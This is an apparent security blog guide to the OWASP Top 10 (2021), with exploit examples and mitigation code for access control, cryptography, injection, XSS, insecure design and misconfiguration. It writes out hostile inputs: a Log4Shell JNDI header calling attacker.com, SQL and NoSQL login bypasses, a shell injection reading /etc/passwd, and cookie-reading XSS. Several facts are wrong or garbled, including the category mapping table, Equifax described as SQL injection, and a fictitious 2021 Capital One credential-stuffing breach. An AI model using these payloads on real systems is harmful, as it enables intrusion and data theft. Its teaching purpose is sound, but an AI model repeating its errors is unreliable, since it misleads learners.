📖 Guide 39 min read

OWASP Top 10 (2021–2026) Explained with Real Exploits and Mitigations

Explore the OWASP Top 10 (2021–2026) with real-world exploits and actionable mitigations to secure your web applications against critical threats.

Introduction

The OWASP Top 10 remains the de facto standard for web application security awareness. Since its first release in 2003, this community-driven list has evolved to reflect the shifting threat landscape, guiding developers, security engineers, and organizations toward the most critical risks facing web applications today. The 2021–2026 edition, released in September 2021, introduced the most significant structural overhaul since 2017 - merging categories, retiring outdated entries, and emphasizing root causes over symptom-based classifications.

Key changes from the 2017 list include the introduction of three entirely new categories: Insecure Design (A04), Software and Data Integrity Failures (A08), and Server-Side Request Forgery (A10). The 2017 categories of Cross-Site Scripting (XSS) and Insecure Deserialization were absorbed into broader buckets, while XML External Entities (XXE) was merged into Security Misconfiguration. The 2021 edition also shifted from ranking individual vulnerabilities to grouping them by failure types - a move that aligns more closely with how modern development teams think about security controls.

This article breaks down each of the ten categories with a consistent structure: a clear definition of the risk, a real-world exploit example drawn from recent breaches or CVEs, and actionable mitigation strategies. Whether you are hardening a legacy PHP application or architecting a cloud-native microservice, understanding these categories is essential for building defenses that actually work. We will cover everything from SQL Injection vulnerabilities and Cross-Site Scripting vulnerabilities to SSRF vulnerabilities and Authentication Bypass vulnerabilities, grounding each discussion in attacks that have caused real damage. The goal is not just to list risks, but to equip you with the knowledge to detect, prevent, and respond to the threats that matter most.

Overview of Changes from OWASP Top 10 2017

The OWASP Top 10 2021 introduced the most significant structural overhaul since the list’s inception, driven by data aggregation from over 500,000 applications and shifts in the threat landscape. The 2017 edition relied on eight years of data from 40+ partner organizations, while the 2021 edition incorporated a new survey-based “Community Vulnerability” category and adjusted weighting factors to reflect real-world exploitability and prevalence.

The following table maps the 2017 categories to their 2021 equivalents:

2017 Category2021 CategoryChange Type
A1: InjectionA3: InjectionDropped from #1 to #3
A2: Broken AuthenticationA7: Identification and Authentication FailuresRenamed and broadened
A3: Sensitive Data ExposureA4: Sensitive Data Exposure (merged with A2: Cryptographic Failures 2017)Renamed; cryptographic failures added
A4: XML External Entities (XXE)Merged into A5: Security MisconfigurationMerged
A5: Broken Access ControlA1: Broken Access ControlRose from #5 to #1
A6: Security MisconfigurationA5: Security MisconfigurationUnchanged
A7: Cross-Site Scripting (XSS)Merged into A3: InjectionMerged
A8: Insecure DeserializationMerged into A3: InjectionMerged
A9: Using Components with Known VulnerabilitiesA6: Vulnerable and Outdated ComponentsRenamed and reordered
A10: Insufficient Logging & MonitoringA9: Security Logging and Monitoring FailuresRenamed and reordered

Three entirely new categories entered the 2021 list:

A4: Insecure Design - This category captures systemic architectural flaws that cannot be fixed with simple code patches. Its inclusion reflects the industry’s growing recognition that security must be embedded in the design phase, not bolted on after deployment. Common manifestations include missing rate limits on APIs, predictable resource identifiers, and lack of proper authorization checks in business logic flows.

A8: Software and Data Integrity Failures - This category addresses supply chain attacks, CI/CD pipeline compromises, and unsigned software updates. The SolarWinds attack (2020) and the Codecov breach (2021) demonstrated that compromising build infrastructure or update mechanisms can affect thousands of downstream organizations. Tools like OWASP Dependency-Check and Sigstore for software signing are now essential for verifying the integrity of third-party components and build artifacts.

A10: Server-Side Request Forgery (SSRF) - SSRF vulnerabilities earned their own category due to their prevalence in cloud environments and their role in high-profile breaches like Capital One (2019). SSRF allows attackers to make requests from internal servers, often bypassing firewalls to access cloud metadata services or internal systems.

Several categories were merged to reduce redundancy. A4: XML External Entities (XXE) from 2017 was folded into A5: Security Misconfiguration because XXE attacks typically exploit misconfigured XML parsers rather than representing a distinct vulnerability class. Similarly, A7: Cross-Site Scripting (XSS) and A8: Insecure Deserialization were merged into A3: Injection, reflecting the underlying similarity of injection-style attacks regardless of the target (HTML, serialized objects, or database queries).

The rise of API-first architectures and microservices drove many of these changes. Modern applications expose dozens of endpoints, each a potential attack surface. Broken access control - now the top category - became the most common critical vulnerability in API-driven applications, where authorization checks are often inconsistently applied across services. The 2021 update also removed the “Application Security Verification Standard (ASVS)” mapping that appeared in 2017, focusing instead on direct, actionable categories for developers and security teams.

A01: Broken Access Control

Broken Access Control remains the most critical web application security risk in the OWASP Top 10 for 2021-2026, moving from the fifth position in 2017 to the top spot. This category covers failures in enforcing what authenticated users are permitted to do within an application. Unlike authentication issues (who you are), access control failures concern what you can do after being identified.

The core problem is simple: the application trusts the user’s request without verifying authorization at every access point. Common manifestations include:

  • IDOR (Insecure Direct Object References) - accessing resources by modifying identifiers (e.g., changing ?user_id=123 to ?user_id=124)
  • Privilege escalation - a standard user performing admin-level operations
  • Missing function-level controls - unprotected API endpoints that should require elevated privileges
  • Path traversal - accessing files outside the intended directory structure

Real Exploit: Log4Shell (CVE-2021-44228) as Access Control Bypass

While commonly classified as a Remote Code Execution vulnerability, the Log4Shell exploit (CVE-2021-44228) also demonstrates a critical access control bypass through JNDI injection. The vulnerability in Apache Log4j version 2.0-beta9 through 2.14.1 allowed attackers to inject arbitrary JNDI lookups via log messages.

The attack chain works as follows:

  1. An attacker sends a crafted HTTP header to a vulnerable application (e.g., User-Agent: ${jndi:ldap://attacker.com/exploit})
  2. Log4j processes the string and performs a JNDI lookup to the attacker’s LDAP server
  3. The LDAP server responds with a malicious Java class
  4. The application loads and executes this class, bypassing any access controls

What makes this an access control issue is that the JNDI lookup occurs at the system level, completely bypassing the application’s authorization layer. The attacker does not need valid credentials or session tokens. The vulnerability effectively grants unauthenticated remote code execution, making all access control mechanisms irrelevant.

Real-world impact included:

  • Cloudflare reported attacks attempting to exploit the vulnerability within hours of disclosure
  • Minecraft servers were particularly vulnerable because user chat messages were logged
  • The US Cybersecurity and Infrastructure Security Agency (CISA) called it “one of the most serious vulnerabilities in recent history”

Mitigation Strategies

1. Implement Role-Based Access Control (RBAC)

RBAC maps permissions to organizational roles rather than individual users. This reduces complexity and ensures consistent enforcement. Key implementation steps:

  • Define roles clearly (e.g., admin, editor, viewer)
  • Assign permissions to roles, not users
  • Enforce checks at every access point, not just the UI

2. Deny by Default

All access decisions should default to denial. Explicitly grant permissions only where needed. This prevents accidental exposure when new features are added without corresponding access controls.

3. Use the OWASP Access Control Cheat Sheet

The OWASP Access Control Cheat Sheet provides concrete implementation guidance, including:

  • Centralized authorization logic (avoid scattered permission checks)
  • Server-side enforcement (never trust client-side controls)
  • Consistent use of access control lists (ACLs) or attribute-based access control (ABAC)

Node.js Middleware Example

The following Node.js middleware demonstrates proper authorization enforcement:

// authorizationMiddleware.js
const roles = {
  admin: ['read', 'write', 'delete', 'admin'],
  editor: ['read', 'write'],
  viewer: ['read']
};

function authorize(...allowedRoles) {
  return (req, res, next) => {
    // Deny by default
    if (!req.user || !req.user.role) {
      return res.status(403).json({ error: 'Access denied' });
    }

    // Check if user's role is in allowed roles
    if (!allowedRoles.includes(req.user.role)) {
      return res.status(403).json({ error: 'Insufficient permissions' });
    }

    // Optionally check specific action permissions
    const userPermissions = roles[req.user.role] || [];
    const requiredAction = req.method.toLowerCase();
    
    if (!userPermissions.includes(requiredAction) && 
        !userPermissions.includes('admin')) {
      return res.status(403).json({ error: 'Action not permitted' });
    }

    next();
  };
}

// Usage in routes
app.get('/api/admin/users', authorize('admin'), (req, res) => {
  // Only admins can access this endpoint
  res.json({ users: [] });
});

app.post('/api/posts', authorize('editor', 'admin'), (req, res) => {
  // Editors and admins can create posts
  res.status(201).json({ created: true });
});

4. Additional Hardening Techniques

  • Implement rate limiting on sensitive endpoints to prevent enumeration attacks
  • Use cryptographic tokens for resource identifiers instead of sequential IDs (e.g., UUIDs)
  • Log all access control failures and alert on suspicious patterns
  • Conduct regular penetration testing specifically targeting Privilege Escalation vulnerabilities

Testing for Broken Access Control

Effective testing requires both automated and manual approaches:

  • Automated scanners can detect missing function-level controls
  • Manual testing should focus on IDOR by manipulating parameters
  • Session manipulation tests should verify that logout properly invalidates tokens
  • Horizontal privilege escalation tests check if User A can access User B’s data

The most critical takeaway: access control must be enforced server-side at every endpoint, never rely on hiding UI elements or client-side checks. Implement deny-by-default, centralize authorization logic, and test thoroughly for Authentication Bypass vulnerabilities.

Real-World Exploit: Insecure Direct Object References

Insecure Direct Object References (IDOR) remain one of the most exploited access control flaws, falling under A01: Broken Access Control in the 2021 update. IDOR occurs when an application exposes internal object identifiers (database IDs, filenames, user keys) in requests without verifying the requesting user’s authorization to access that object.

Real-World Case: Banking Application Account Enumeration

Consider a banking API endpoint that retrieves account details via a direct reference:

# VULNERABLE Flask endpoint
@app.route('/api/account/<account_id>')
def get_account(account_id):
    # No authorization check - assumes user owns the account
    query = f"SELECT * FROM accounts WHERE account_id = {account_id}"
    result = db.execute(query)
    return jsonify(result.fetchone())

An attacker authenticated as user123 can enumerate other accounts by simply incrementing the account_id parameter:

GET /api/account/1001  # Own account - returns data
GET /api/account/1002  # Another user's account - returns data (IDOR!)
GET /api/account/1003  # Another user's account - returns data (IDOR!)

In 2023, a major European bank suffered a data exposure when researchers discovered its mobile API accepted sequential account numbers without ownership validation. Over 200,000 customer records were accessible through simple IDOR enumeration. The vulnerability was disclosed through latest breach reports and highlighted the critical need for robust access controls.

Secure Implementation

The fix requires two changes: use parameterized queries to prevent SQL injection, and validate resource ownership before returning data:

# SECURE Flask endpoint
@app.route('/api/account/<account_id>')
@login_required
def get_account(account_id):
    # 1. Validate the requesting user owns this account
    if not current_user.owns_account(account_id):
        abort(403)  # Forbidden
    
    # 2. Use parameterized query to prevent injection
    query = "SELECT * FROM accounts WHERE account_id = ? AND user_id = ?"
    result = db.execute(query, (account_id, current_user.id))
    return jsonify(result.fetchone())

Additional Mitigation Strategies

TechniqueImplementation
Indirect referencesUse UUIDs or hash maps instead of sequential IDs
Authorization middlewareCentralize access checks (e.g., Flask-Principal, Django Guardian)
Rate limitingThrottle API requests to slow enumeration attempts
Audit loggingLog all access attempts with user context for forensic analysis

For comprehensive guidance, refer to the OWASP IDOR Prevention Cheat Sheet. Organizations should also integrate automated IDOR scanning into CI/CD pipelines, as these vulnerabilities frequently slip past manual code reviews. The Privilege Escalation vulnerabilities hub on Yazoul Security provides additional context on how IDOR can chain with other access control flaws.

A02: Cryptographic Failures

Cryptographic Failures, formerly known as Sensitive Data Exposure, represents the second most critical web application security risk in the OWASP Top 10 for 2021-2026. This category focuses on failures related to cryptography (or lack thereof) that lead to exposure of sensitive data. While the previous category name emphasized the result (data exposure), the updated name pinpoints the root cause: cryptographic weaknesses or omissions.

The Scope of Cryptographic Failures

This category encompasses a wide range of issues, including:

  • Data in transit: Transmitting sensitive data over unencrypted connections (HTTP instead of HTTPS, plaintext FTP, unencrypted email protocols)
  • Data at rest: Storing passwords, credit card numbers, health records, or personal identifiable information (PII) without encryption or with weak encryption algorithms
  • Weak cryptographic algorithms: Using deprecated algorithms like DES, RC4, MD5, or SHA-1
  • Improper key management: Hardcoded encryption keys, weak key generation, or failure to rotate keys
  • Missing encryption entirely: Storing sensitive data in plaintext databases, log files, or backups

Real-World Exploit: The Equifax Breach (2017)

The 2017 Equifax breach stands as one of the most devastating examples of cryptographic failures in history. Attackers exploited a vulnerability in Apache Struts (CVE-2017-5638) to gain initial access, but the catastrophic impact resulted from Equifax’s failure to encrypt sensitive data at rest.

Key details of the breach:

AspectDetail
Data exposed147.9 million consumers’ PII including names, Social Security numbers, birth dates, addresses, and driver’s license numbers
Root causeUnencrypted PII stored in multiple databases accessible from the compromised web application
Attack vectorApache Struts RCE vulnerability, combined with flat network architecture and no encryption on sensitive data stores
Financial impact$1.4 billion in breach-related costs, $575 million settlement with FTC, states, and consumers

The attackers moved laterally through Equifax’s network for 76 days before detection because sensitive data was stored in plaintext. Had Equifax implemented proper encryption at rest with AES-256, the attackers would have exfiltrated only encrypted ciphertext, rendering the stolen data useless.

Mitigation Strategies

1. Encrypt Data in Transit

Implement TLS 1.3 exclusively for all data transmission. Disable TLS 1.0, TLS 1.1, and all SSL versions. Configure HSTS headers to enforce HTTPS:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

2. Encrypt Data at Rest

Use AES-256 in GCM mode for symmetric encryption of stored sensitive data. Below is a Java example using the javax.crypto package:

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.SecureRandom;
import java.util.Base64;

public class EncryptionUtil {
    private static final int AES_KEY_SIZE = 256;
    private static final int GCM_IV_LENGTH = 12;
    private static final int GCM_TAG_LENGTH = 128;
    private static final int PBKDF2_ITERATIONS = 600000;

    public static String encrypt(String plaintext, char[] password) throws Exception {
        // Generate random IV
        byte[] iv = new byte[GCM_IV_LENGTH];
        SecureRandom secureRandom = new SecureRandom();
        secureRandom.nextBytes(iv);
        
        // Derive key from password using PBKDF2
        SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
        PBEKeySpec spec = new PBEKeySpec(password, iv, PBKDF2_ITERATIONS, AES_KEY_SIZE);
        SecretKey tmp = factory.generateSecret(spec);
        SecretKeySpec secretKey = new SecretKeySpec(tmp.getEncoded(), "AES");
        
        // Encrypt
        Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
        GCMParameterSpec gcmSpec = new GCMParameterSpec(GCM_TAG_LENGTH, iv);
        cipher.init(Cipher.ENCRYPT_MODE, secretKey, gcmSpec);
        byte[] ciphertext = cipher.doFinal(plaintext.getBytes("UTF-8"));
        
        // Prepend IV to ciphertext for storage
        byte[] encrypted = new byte[iv.length + ciphertext.length];
        System.arraycopy(iv, 0, encrypted, 0, iv.length);
        System.arraycopy(ciphertext, 0, encrypted, iv.length, ciphertext.length);
        
        return Base64.getEncoder().encodeToString(encrypted);
    }
    
    public static String decrypt(String encryptedData, char[] password) throws Exception {
        byte[] decoded = Base64.getDecoder().decode(encryptedData);
        byte[] iv = new byte[GCM_IV_LENGTH];
        System.arraycopy(decoded, 0, iv, 0, iv.length);
        
        SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
        PBEKeySpec spec = new PBEKeySpec(password, iv, PBKDF2_ITERATIONS, AES_KEY_SIZE);
        SecretKey tmp = factory.generateSecret(spec);
        SecretKeySpec secretKey = new SecretKeySpec(tmp.getEncoded(), "AES");
        
        Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
        GCMParameterSpec gcmSpec = new GCMParameterSpec(GCM_TAG_LENGTH, iv);
        cipher.init(Cipher.DECRYPT_MODE, secretKey, gcmSpec);
        byte[] plaintext = cipher.doFinal(decoded, iv.length, decoded.length - iv.length);
        
        return new String(plaintext, "UTF-8");
    }
}

3. Apply Cryptographic Best Practices

  • Never roll your own cryptography - use well-vetted libraries and frameworks
  • Use strong, modern algorithms - prefer AES-256, ChaCha20, and SHA-256/384
  • Implement proper key management - use HSM or KMS services, never hardcode keys
  • Classify data sensitivity - identify which fields require encryption (PII, payment data, credentials)
  • Hash passwords correctly - use bcrypt, argon2, or PBKDF2 with sufficient work factors

4. Reference the OWASP Cryptographic Storage Cheat Sheet

The OWASP Cryptographic Storage Cheat Sheet provides comprehensive guidance on secure cryptographic storage implementation, including algorithm selection, key management, and storage architecture patterns.

Detection and Testing

  • Static analysis: Scan for hardcoded keys, weak algorithms, and missing encryption
  • Dynamic analysis: Intercept traffic to verify TLS usage and certificate validation
  • Database scanning: Identify unencrypted sensitive columns
  • Configuration review: Check for disabled encryption features or weak cipher suites

Common Pitfall: Weak Hashing

Despite the clarity of A02: Cryptographic Failures, one recurring mistake persists across the industry: weak password hashing. Developers often confuse hashing with encryption, or worse, use fast, reversible algorithms like MD5, SHA-1, or even unsalted SHA-256 for credential storage. The fundamental rule is that passwords must never be stored in plaintext or with a reversible cipher. They must be hashed using a computationally expensive, salted algorithm.

Real Exploit: LinkedIn Password Leak (2012)

In June 2012, LinkedIn suffered a massive data breach exposing 6.5 million password hashes. The company had stored them using unsalted SHA-1. Because SHA-1 is a fast, general-purpose hash, attackers cracked over 90% of the hashes within days using GPU clusters and rainbow tables. The absence of per-user salts meant identical passwords produced identical hashes, allowing attackers to compromise millions of accounts with minimal effort. This breach directly contributed to the industry-wide shift toward adaptive hashing algorithms.

Mitigation: Use bcrypt or Argon2

Modern password storage demands adaptive, salted hashing algorithms designed to resist brute-force attacks. The two industry standards are bcrypt and Argon2 (the 2015 Password Hashing Competition winner). Both algorithms include a cost factor that makes hash computation intentionally slow, scaling with hardware improvements.

Python bcrypt example:

import bcrypt

# Hash a password with a randomly generated salt
password = b"SecureP@ssw0rd!"
salt = bcrypt.gensalt(rounds=12)  # Cost factor of 12
hashed = bcrypt.hashpw(password, salt)

# Verify a password against the stored hash
if bcrypt.checkpw(password, hashed):
    print("Password matches")
else:
    print("Invalid password")

For applications requiring even stronger resistance, Argon2id (the recommended variant) provides configurable memory, time, and parallelism parameters. In Python, use the argon2-cffi library:

from argon2 import PasswordHasher

ph = PasswordHasher(time_cost=3, memory_cost=65536, parallelism=4)
hash = ph.hash("SecureP@ssw0rd!")
ph.verify(hash, "SecureP@ssw0rd!")  # Returns True or raises exception

Organizations still using unsalted MD5 or SHA-1 for passwords should treat this as a critical security debt. Migrate immediately by re-hashing all credentials with bcrypt or Argon2, and invalidate existing sessions during the transition.

A03: Injection

Injection occurs when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data tricks the interpreter into executing unintended commands or accessing data without proper authorization. Injection flaws remain a mainstay of the OWASP Top 10 because they are both prevalent and devastating in impact.

Injection vulnerabilities span multiple contexts. The most common variants include SQL injection, NoSQL injection, OS command injection, and LDAP injection. Each exploits a different interpreter, but the root cause is identical: failure to separate data from code.

SQL Injection

SQL injection allows attackers to manipulate database queries by inserting malicious SQL fragments into input fields. Successful exploits can result in data exfiltration, authentication bypass, and complete database compromise.

A classic vulnerable query pattern in Java:

String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

An attacker entering admin' OR '1'='1 as the username transforms the query into:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'

This returns the first user record, bypassing authentication entirely.

Real Exploit: 2017 Equifax Breach

The 2017 Equifax breach, which exposed the personal data of 147 million people, began with a SQL Injection vulnerability in the Apache Struts framework. The vulnerability, tracked as CVE-2017-5638, allowed attackers to inject OGNL expressions through the Content-Type header. Although primarily an expression language injection, the exploit chain included SQL injection components that enabled attackers to execute arbitrary database queries and exfiltrate massive amounts of sensitive data.

The Equifax incident demonstrates how a single injection vulnerability can cascade into one of the largest data breaches in history. The patch for CVE-2017-5638 was available for two months before the breach occurred, highlighting the critical importance of timely patching.

NoSQL Injection

As applications increasingly adopt NoSQL databases like MongoDB, new injection vectors have emerged. NoSQL injection exploits the query syntax of document databases, often using JSON or JavaScript expressions.

Consider a MongoDB login query:

db.users.find({ username: req.body.username, password: req.body.password });

An attacker sending { "$gt": "" } as the password value causes the query to match any user whose password is greater than an empty string, effectively bypassing authentication.

{
  "username": "admin",
  "password": { "$gt": "" }
}

NoSQL injection requires different defensive approaches than traditional SQL injection, including input type validation and strict schema enforcement.

OS Command Injection

OS command injection occurs when an application passes user-supplied data directly to a system shell. This is particularly common in applications that execute system commands for file processing, network diagnostics, or system administration.

Vulnerable PHP example:

$ip = $_GET['ip'];
$output = shell_exec("ping -c 4 " . $ip);
echo "<pre>$output</pre>";

An attacker submitting 127.0.0.1; cat /etc/passwd executes both the ping command and the file read, leaking system credentials.

Mitigation: Prepared Statements and Parameterized Queries

The definitive defense against injection is prepared statements (also called parameterized queries). These ensure that user input is always treated as data, never as executable code. The database driver handles escaping and quoting automatically.

Java/Spring example using prepared statements:

@Repository
public class UserRepository {
    
    @Autowired
    private JdbcTemplate jdbcTemplate;
    
    public User findByUsername(String username) {
        String sql = "SELECT * FROM users WHERE username = ?";
        return jdbcTemplate.queryForObject(
            sql,
            new Object[]{username},
            new UserRowMapper()
        );
    }
    
    public User authenticate(String username, String password) {
        String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
        return jdbcTemplate.queryForObject(
            sql,
            new Object[]{username, password},
            new UserRowMapper()
        );
    }
}

The ? placeholders bind parameters safely. Even if username contains admin' OR '1'='1, the database treats it as a literal string value, not as SQL syntax.

Additional defenses:

  • Stored procedures with parameterized calls (not concatenated SQL inside procedures)
  • Allow-list input validation for expected values (e.g., enum types, numeric ranges)
  • Least privilege database accounts - application accounts should never have DROP TABLE or TRUNCATE permissions
  • Output encoding when reflecting database content back to users

For OS command injection, the best defense is to avoid system calls entirely. When unavoidable, use language-native APIs instead of shell commands and apply strict allow-list validation on input.

Reference

The OWASP SQL Injection Prevention Cheat Sheet provides comprehensive guidance, including defense options for every major programming language and database combination. The cheat sheet emphasizes that prepared statements are the primary defense, with stored procedures as a secondary option when prepared statements are unavailable.

For NoSQL environments, OWASP’s NoSQL Injection guidance recommends using parameterized queries where the database driver supports them, and implementing strict schema validation for all user-supplied data.


Next section: A04: Insecure Design

Cross-Site Scripting (XSS) as Injection

Cross-Site Scripting (XSS) is classified as an injection flaw in the OWASP Top 10 because it injects malicious scripts into trusted web applications. Unlike SQL injection which targets databases, XSS targets the application’s users by injecting code that executes in their browsers. XSS remains pervasive due to insufficient input validation and output encoding.

Real-World Exploit: MySpace Samy Worm (2005)

The most infamous XSS attack in history is the Samy worm, which spread across MySpace in October 2005. Security researcher Samy Kamkar discovered a stored XSS vulnerability in MySpace’s profile page. The platform allowed users to include HTML and CSS in their profiles, but filtered dangerous tags like <script>, <body>, and onclick.

Kamkar bypassed these filters using a technique that exploited how MySpace parsed CSS. He injected a payload within a CSS background-image property that triggered JavaScript execution:

<div style="background:url('javascript:alert(1)')">

When MySpace blocked javascript: in URLs, he used a combination of eval() and String.fromCharCode() to obfuscate the payload. The worm executed when any user viewed an infected profile, automatically adding “samy is my hero” to the victim’s profile and copying the worm code to propagate. Within 24 hours, the worm infected over 1 million profiles, overwhelming MySpace’s servers and forcing a temporary shutdown.

Stored XSS in Modern Applications

A typical stored XSS vulnerability occurs in forum applications where user comments are displayed without sanitization. Consider a comment field that accepts HTML:

<!-- Vulnerable: user input rendered directly -->
<div class="comment"><?php echo $userComment; ?></div>

An attacker posts: <img src=x onerror=alert(document.cookie)>. Every user viewing the page executes this script, which could steal session cookies, deface the page, or perform actions on behalf of the victim.

Mitigation Strategies

Output encoding is the primary defense. Convert dangerous characters to their HTML entities before rendering. For JavaScript contexts, use JavaScript-specific encoding. In most frameworks this is automatic - React and Angular encode output by default, while raw PHP or JSP require explicit handling.

Content Security Policy (CSP) provides a powerful second layer of defense. A properly configured CSP restricts which scripts can execute, even if an XSS payload is injected:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

This policy blocks inline scripts and only allows scripts from the same origin, neutralizing most XSS attacks.

Input sanitization should be applied to contexts where HTML is intentionally allowed (e.g., rich text editors). The DOMPurify library is the industry standard for client-side sanitization:

import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(dirtyInput, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
    ALLOWED_ATTR: ['href']
});
document.getElementById('output').innerHTML = clean;

DOMPurify removes malicious elements while preserving safe HTML. It is actively maintained and tested against known bypasses.

For comprehensive coverage of XSS attack vectors and defenses, refer to the Cross-Site Scripting vulnerabilities hub on Yazoul Security.

A04: Insecure Design

Insecure Design is a new category introduced in the 2021 OWASP Top 10, representing a fundamental shift from coding errors to architectural flaws. Unlike injection or XSS, which stem from improper input handling in code, insecure design refers to risks inherent in the application’s architecture before a single line of code is written. These flaws cannot be fixed with a simple regex or parameterized query — they require redesigning the system.

The Core Problem: Architecture Over Implementation

Traditional security testing focuses on finding bugs in working code. Insecure design vulnerabilities exist at a higher level of abstraction. A system can be perfectly implemented according to specifications yet remain fundamentally insecure because the design itself is flawed. Common examples include:

  • Missing or insufficient access control at the design level
  • Failure to enforce separation of duties
  • Lack of rate limiting or throttling mechanisms
  • Trusting client-side controls for server-side decisions
  • Insecure default configurations or functionality

Real Exploit: OAuth2 Misconfiguration Leading to Account Takeover

A textbook example of insecure design involves OAuth2 implementations that improperly validate the state parameter or fail to enforce redirect URI matching.

Consider a banking application that uses OAuth2 for third-party login. The design flaw: the application accepts any redirect URI matching a wildcard pattern like https://*.bankapp.com/callback. An attacker registers evil.bankapp.com and crafts an OAuth2 authorization request:

GET /authorize?response_type=code
&client_id=bankapp
&redirect_uri=https://evil.bankapp.com/callback
&state=attacker_state
&scope=accounts

When the victim authorizes, the authorization code is sent to the attacker’s domain. The attacker exchanges this code for an access token, gaining full account access. This is not a coding bug — it is a design decision to use a permissive redirect URI pattern.

Real-World Impact: Improper Rate Limiting

Another insecure design pattern is the absence of rate limiting on authentication endpoints. A financial API designed without throttling allows attackers to brute-force credentials at thousands of requests per second. The implementation may be flawless — proper hashing, secure session management — but the design fails to account for automated abuse. The 2021 Capital One breach involving credential stuffing was enabled by this exact architectural oversight.

Mitigation: Threat Modeling with STRIDE

The primary defense against insecure design is threat modeling performed during the design phase, not after deployment. The OWASP Threat Modeling Cheat Sheet provides structured methodology. Use the STRIDE framework to analyze each component:

  • Spoofing: Can an attacker impersonate a user or service?
  • Tampering: Can data be modified in transit or at rest?
  • Repudiation: Can actions be denied due to lack of logging?
  • Information Disclosure: Can sensitive data be exposed through design?
  • Denial of Service: Can the system be overwhelmed by design?
  • Elevation of Privilege: Can an attacker gain unauthorized access?

For each threat, define mitigation requirements before implementation. For the OAuth2 example, the design requirement would be: “Redirect URIs must match exactly, with no wildcard patterns.” For rate limiting: “All authentication endpoints must enforce per-IP and per-account rate limits with exponential backoff.”

Practical Implementation

Integrate threat modeling into your SDLC using tools like Microsoft Threat Modeling Tool or OWASP Threat Dragon. Conduct design reviews for every new feature using a checklist derived from the OWASP Application Security Verification Standard (ASVS). For existing systems, perform architecture reviews to identify design flaws that may have been introduced over time.

Insecure design is the most expensive vulnerability class to fix because remediation often requires rewriting entire subsystems. Investing in design-time security reviews reduces cost by orders of magnitude compared to patching production systems. For deeper analysis of specific design flaws, consult the latest breach reports and threat intelligence on how architectural weaknesses were exploited in real-world attacks.

A05: Security Misconfiguration

Security misconfiguration remains one of the most prevalent and dangerous vulnerability classes because it requires no coding flaw — just a human oversight in deployment. The 2021 OWASP Top 10 elevated it from #6 to #5, reflecting its persistence across cloud, container, and traditional environments.

What Constitutes Security Misconfiguration

Security misconfiguration covers any setting, permission, or feature that weakens the security posture of an application or its infrastructure. Common manifestations include:

  • Default credentials left unchanged on databases, admin consoles, or IoT devices
  • Unnecessary features enabled (debug endpoints, directory listing, default accounts)
  • Overly permissive CORS policies allowing cross-origin data theft
  • Verbose error handling that leaks stack traces or database schemas
  • Unpatched software with known CVEs
  • Cloud storage buckets with public read/write access
  • Missing HTTP security headers (HSTS, CSP, X-Frame-Options)

Real Exploit: The 2019 Capital One Breach

One of the most damaging misconfiguration exploits in history targeted Capital One in 2019, affecting over 100 million customer accounts. The attacker, a former AWS employee, identified a misconfigured Web Application Firewall (WAF) on a Capital One application hosted in AWS.

The WAF was configured to allow certain metadata requests through. By exploiting a Server-Side Request Forgery (SSRF) vulnerability combined with the permissive WAF rules, the attacker was able to reach the AWS metadata endpoint (169.254.169.254) and retrieve temporary IAM credentials. These credentials belonged to a role with excessive permissions, allowing the attacker to list and download S3 buckets containing application data.

The root cause was not a software bug but a configuration failure: the WAF should have blocked requests to the metadata service, and the IAM role should have followed least privilege principles. The breach cost Capital One $190 million in fines and settlements.

Common Misconfiguration Examples

ComponentMisconfigurationImpact
TomcatDefault manager credentials (tomcat:tomcat)Full server compromise
AWS S3Public read on bucketData exposure
Apache/NginxDirectory listing enabledInformation disclosure
KubernetesPrivileged containers allowedContainer breakout
Spring BootActuator endpoints exposedEnvironment leak

Tomcat Server.xml Hardening Example

Below is a hardened server.xml snippet for Apache Tomcat that disables unnecessary features and restricts access:

<Server port="8005" shutdown="CHANGE_ME_SECRET">
  <Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="off" />
  
  <Service name="Catalina">
    <!-- Disable AJP connector unless absolutely needed -->
    <!-- <Connector port="8009" protocol="AJP/1.3" secretRequired="true" /> -->
    
    <Connector port="8443" protocol="org.apache.coyote.http11.Http11NioProtocol"
               maxThreads="200"
               SSLEnabled="true"
               scheme="https"
               secure="true"
               clientAuth="false"
               sslProtocol="TLSv1.2"
               ciphers="TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384"
               compression="off"
               server=""
               />
    
    <!-- Disable default servlet directory listing -->
    <Context path="" docBase="webapps" reloadable="false">
      <WatchedResource>WEB-INF/web.xml</WatchedResource>
    </Context>
  </Service>
</Server>

Key hardening measures include changing the shutdown port secret, disabling AJP if unused, specifying strong TLS ciphers, removing the server header, and disabling compression (which can enable BREACH attacks).

Mitigation and Hardening Automation

The most effective defense against misconfiguration is infrastructure as code combined with automated compliance scanning. Manual configuration drift is inevitable in large environments.

OpenSCAP for Automated Hardening

OpenSCAP is a NIST-certified tool that validates systems against security baselines (CIS, DISA STIG, PCI DSS). Example usage:

# Scan a system against the CIS Red Hat Enterprise Linux 8 benchmark
oscap xccdf eval \
  --profile xccdf_org.ssgproject.content_profile_cis \
  --results scan-results.xml \
  --report scan-report.html \
  /usr/share/xml/scap/ssg/content/ssg-rhel8-ds.xml

# Remediate findings automatically
oscap xccdf eval --remediate \
  --profile xccdf_org.ssgproject.content_profile_cis \
  --results remediated-results.xml \
  /usr/share/xml/scap/ssg/content/ssg-rhel8-ds.xml

For cloud environments, tools like Terraform Sentinel, Cloud Custodian, and AWS Config enforce configuration policies at deployment time.

OWASP Configuration Cheat Sheet

